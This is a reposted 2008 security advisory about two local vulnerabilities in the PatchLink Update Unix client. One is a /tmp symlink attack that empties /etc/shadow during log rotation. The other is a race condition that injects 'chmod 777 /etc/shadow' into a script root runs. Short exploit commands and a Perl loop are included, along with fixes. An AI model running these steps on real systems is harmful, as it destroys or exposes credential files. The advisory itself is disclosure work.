Two vulnerabilities for PatchLink Update Client for Unix.

Advisory Content :

PatchLink Update Unix Client File clobbering vulnerability

Larry W. Cashdollar

Vapid Labs

1/17/2008

Overview From the vendor:

?PatchLink Update? provides rapid, accurate and secure patch management,
allowing you to proactively manage threats by automating the collection,
analysis and delivery of patches throughout your enterprise. PatchLink
Update significantly decreases the costs involved in securing your
organization from worms, Trojans, viruses and other malicious threats.?

http://lumension.com/patch-management.jsp?rpLangCode=1&rpMenuId=118443

Vulnerability

The log rotation utility ?logtrimmer? utilizes space in /tmp improperly and
is subject to a symlink attack. By creating a targeted symlink a non root
user can clobber root owned files causing DoS.

Exploit

nobody:/tmp> ln -s /etc/shadow patchlink.tmp

After logs are rotated

/etc/shadow will be size 0, since patchlink.tmp is removed by logtrimmer
after the log rotation process has finished.

Fix

Create a subdirectory under /tmp or /var/tmp to work from.

For example adding:

mkdir /var/tmp/plink

chmod 700 /var/tmp/plink

Second Vulnerability:

The script rebootTask contains the following lines for HP-UX Shutdown and
reboot:

echo "shutdown -r -y 120" > /tmp/plshutdown

chmod 500 /tmp/plshutdown

at now < /tmp/plshutdown

A race condition exists where a local user could symlink /tmp/plshutdown to
a file in their home directory and inject malicous code. This could be done
possibly by continuously writing to the file while waiting for the at
command to run.

$ ln -s /tmp/plshutdown /var/tmp/runme

#/bin/perl

while(1){

`echo "chmod 777 /etc/shadow" > /var/tmp/runme`;

}

Also could be fixed by creating a subdirectory to work from under /var/tmp
or /tmp.

http://vapid.dhs.org

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

Two vulnerabilities for PatchLink Update Client for Unix.